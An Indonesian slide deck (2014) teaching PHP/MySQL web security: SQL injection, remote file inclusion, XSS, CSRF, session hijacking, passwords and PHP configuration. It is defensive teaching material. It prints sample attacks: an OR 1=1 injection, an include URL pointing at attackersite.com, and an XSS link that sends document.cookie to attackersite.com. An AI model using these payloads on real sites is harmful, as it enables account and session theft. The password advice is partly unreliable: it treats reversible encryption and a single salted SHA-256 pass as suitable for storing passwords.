Web Security Studi Kasus: PHP & MySQL ARGA DINATA 29 September 2014
Pendahuluan Web Security Goals: menjaga data yang bersifat privat, tetap menjadi privasi
Issues Secrets Menjaga kerahasiaan informasi Limited Resources CPU, memori, disk space, & bandwidth itu terbatas. Jaga resources ini agar tidak dieksploitasi Good Netizenship Etika profesi, programmer & sysadmin tidak boleh melakukan hal yg merugikan sistem
Referensi Pro PHP Security 2nd Edition: Chris Snyder cs. https://www.owasp.org Open Web Application Security Project
Resiko dan Celah Keamanan Injection Remote Execution Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF) Authentication & Session Third Party Components PHP Configuration
Nothing is 100% Secure - Anonymous -
SQL Injection Penambahan queri SQL oleh attacker
$username = $_POST[ username ]; $query = SELECT * FROM pengguna WHERE username = {$username} ; /* attacker memasukkan arga OR 1 = 1, sehingga query menjadi: SELECT * FROM pengguna WHERE username = arga OR 1 = 1 */
SQL Injection Tidak hanya $_POST, tapi bisa juga melalui $_GET Yang lebih berbahaya jika injeksi dilakukan pada query UPDATE dan DELETE
SQL Injection Word List https://wfuzz.googlecode.com/svn/trunk/ wordlist/injections/sql.txt
Pencegahan SQL Injection Escape karakter khusus menggunakan fungsi mysql_real_escape_string() Agar semakin aman: Gunakan prepared statements & parameterized queries (PDO / MySQLi) Cek tipe input dari user dengan fungsi gettype() Pastikan jumlah row pada datasource sudah sesuai
Prepared Statements & Parameterized Queries $mysqli = new mysqli($hostname, $username, $password, $database); $nama = $_POST[ nama ]; $stmt = $mysqli->prepare( SELECT * FROM pengguna WHERE nama =? ); $stmt->bind_param( s, $nama); $stmt->execute();
Tools untuk Pengujian SQL Injection SQL Power Injector Pangolin Web Cruiser SQL Map SQL Inject Me (Firefox Plugin)
Code Injection Memasukkan script dari host lain melalui include() Misalkan ada URL http://mysite.com/index.php?content=con tact.php Dimana index.php memiliki instruksi include($_get[ content ]) Attacker memasukkan URL seperti ini: http://mysite.com/index.php?content=htt p://attackersite.com/injection.php
Code Injection Dengan kasus tsb., attacker bisa memperoleh informasi mengenai spesifikasi server dan PHP dari host menggunakan fungsi phpinfo()
Pencegahan Code Injection Non-aktifkan parameter allow_url_include pada php.ini Cek halaman sehingga yang dieksekusi hanya halaman yang valid saja
Remote Execution Mencoba melakukan eksekusi script secara langsung melalui fungsi-fungsi berikut: eval() exec() passthru() proc_open() shell_exec() system()
Remote Execution dari Upload File Melalui upload file, attacker dapat mengunggah script PHP atau file berbahaya yang lainnya
Pencegahan Remote Execution Minimalisasi penggunaan fungsi-fungsi untuk mengeksekusi shell Cek ekstensi dari file-file yang di-upload Simpan upload file di luar document root Matikan fungsi eval() dan phpinfo()
Cross-Site Scripting (XSS) Memasukkan client-side script dari website lain ke dalam website kita Tag HTML yang bisa diinjeksikan: <script> <object> <applet> <iframe> <embed>
Cross-Site Scripting (XSS) Apa yang dilakukan oleh script injeksi tsb? Mencuri cookies Manipulasi DOM Redirect dll... Darimana injeksi dilakukan? Input user yang bersifat publik, dan script bekerja saat script ditampilkan (contoh: guestbook)
<style> </style> <div style= > html { height: 100% } body { height: 100% } position: absolute; top: 0; left: 0; background: White; width: 100%; height: 100% <h1>situs dalam perbaikan</h1> <a href= # onclick= javascript:window.location= http://attackersite. com/cookies.php?cookie= +document.cookie; >Klik di sini untuk melanjutkan</a> </div>
Pencegahan XSS Encode HTML Entities menggunakan fungsi htmlentities() Jika input user mengandung link, buat blacklist URL yang berbahaya
Tools untuk Testing XSS Web Cruiser Zed Attack Proxy (ZAP) XSS Me (Firefox Plugin)
Cross-Site Request Forgery (CSRF) Akses website dari host lain, tujuannya melakukan aksi pada website secara otomatis (robot)
Pencegahan CSRF Menggunakan CSRF Token (POST maupun GET) Cek HTTP Referrer Challenge-Response: CAPTCHA Re-Authentication One-Time Token
User Authentication Buat otentikasi user agar halaman hanya dapat diakses oleh pengguna yang berhak Untuk menghindari pencurian data & mengurangi pengrusakan website
Perusak Website SPAMMER Pengguna yang melakukan posting konten yang bersifat promosi SCAMMER Pengguna yang melakukan posting hal-hal yang melanggar hukum: pornografi, SARA, dll... TROLL Pengguna yang melakukan bullying pada pengguna lain
Verifikasi Identitas Pengguna Simpan identitas pengguna agar: Mengurangi pengguna yang merusak Menghindari robot Jika ada pengrusakan, pengguna dapat dilacak Verifikasi dapat dilakukan melalui: Email SMS Credit Card
Password Simpan password dalam bentuk yang sudah di-hash atau di-enkripsi Perhatikan panjang dan kompleksitas password Sediakan fitur untuk mengubah dan reset password
Hash / Enkripsi Password Gunakan algoritma kriptografi yang kuat, seperti AES, RSA, atau SHA-256. MD5 dan SHA1 saat ini sudah termasuk yg lemah Gunakan algoritma yg sudah umum digunakan Berikan kunci tambahan (salted) Ganti kunci tambahan tersebut secara periodik Multiple key, salah satu independen
Contoh Penyimpanan Password $key = pwd_key_123* ; $salted_pwd = $key.$password.$email; $hash_pwd = hash( sha256, $salted_pwd);
Kriptografi Enkripsi, Hash, & Encode: Enkripsi: merahasikan pesan, dapat dikembalikan ke pesan semula menggunakan dekripsi Hash: merahasikan pesan, tidak dapat dikembalikan ke pesan semula Encode: mengubah pesan ke dalam bentuk lain agar dapat dibaca oleh sistem tertentu. Encode tidak digunakan untuk merahasiakan pesan
Symmetric vs Asymmetric Key Symmetric Key Pengirim dan penerima berbagi kunci rahasia yang sama Contoh: 3DES, AES, Blowfish, RC4 Asymmetric Key Enkripsi dan dekripsi memiliki kunci masingmasing Contoh: RSA
User Access Control Interface yang berbeda-beda User Group User Type
User Log Apache Access Log: Linux: /var/log/httpd/apache-access_log/ Windows: /apache/logs/ Simpan log pengguna: Session ID Date Time User ID Request URI
Session Properti dari session: Session Key / Session ID Session Name Session Length Session Entropy Session Content / Session Value
Session Hijacking Mencuri Session ID sehingga attacker bisa masuk ke halaman yg sama dengan victim Pencurian bisa dilakukan dengan: Packet Sniffing XSS Attack Man-in-the-Middle Attack Main-in-the-Browser Attack
Packet Sniffing
Man-in-the-Middle Attack
Man-in-the-Browser Hampir sama dengan Man-in-the-Middle Attack, tetapi interupsi dilakukan oleh Trojan Horse yg menginfeksi web browser
Session Fixation Membuat victim menggunakan Session ID yang telah diatur oleh attacker Caranya dengan mengirimkan link yang melakukan assignment cookie di victim
Pencegahan Session Hijacking & Fixation Buat Session ID baru setiap pengguna login Ganti nama session (default: PHPSESSID) Simpan informasi user agent dan IP Address, cocokkan ketika ada request halaman
Third Party Components Penggunaan komponen developer lain memiliki resiko dalam keamanan, terutama yang bersifat open source Hampir tidak mungkin kita tidak menggunakan komponen pihak lain, jadi solusinya adalah tetap update untuk memperoleh versi terbarunya
PHP Configuration register_global = Off allow_url_fopen = Off allow_url_include = Off error_reporting = E_ALL log_errors = On display_errors = On (development), Off (production) magic_quotes_gpc = Off post_max_size, upload_max_filesize, memory_limit
Secure Socket Layer (SSL) Protokol yang menggunakan kriptografi dalam pengiriman data, agar komunikasi lebih aman Sekarang Transport Layer Security Kriptografi menggunakan kunci asimetris (asymmetric key) Public-Key Infrastructure x.509
Secure Socket Layer (SSL)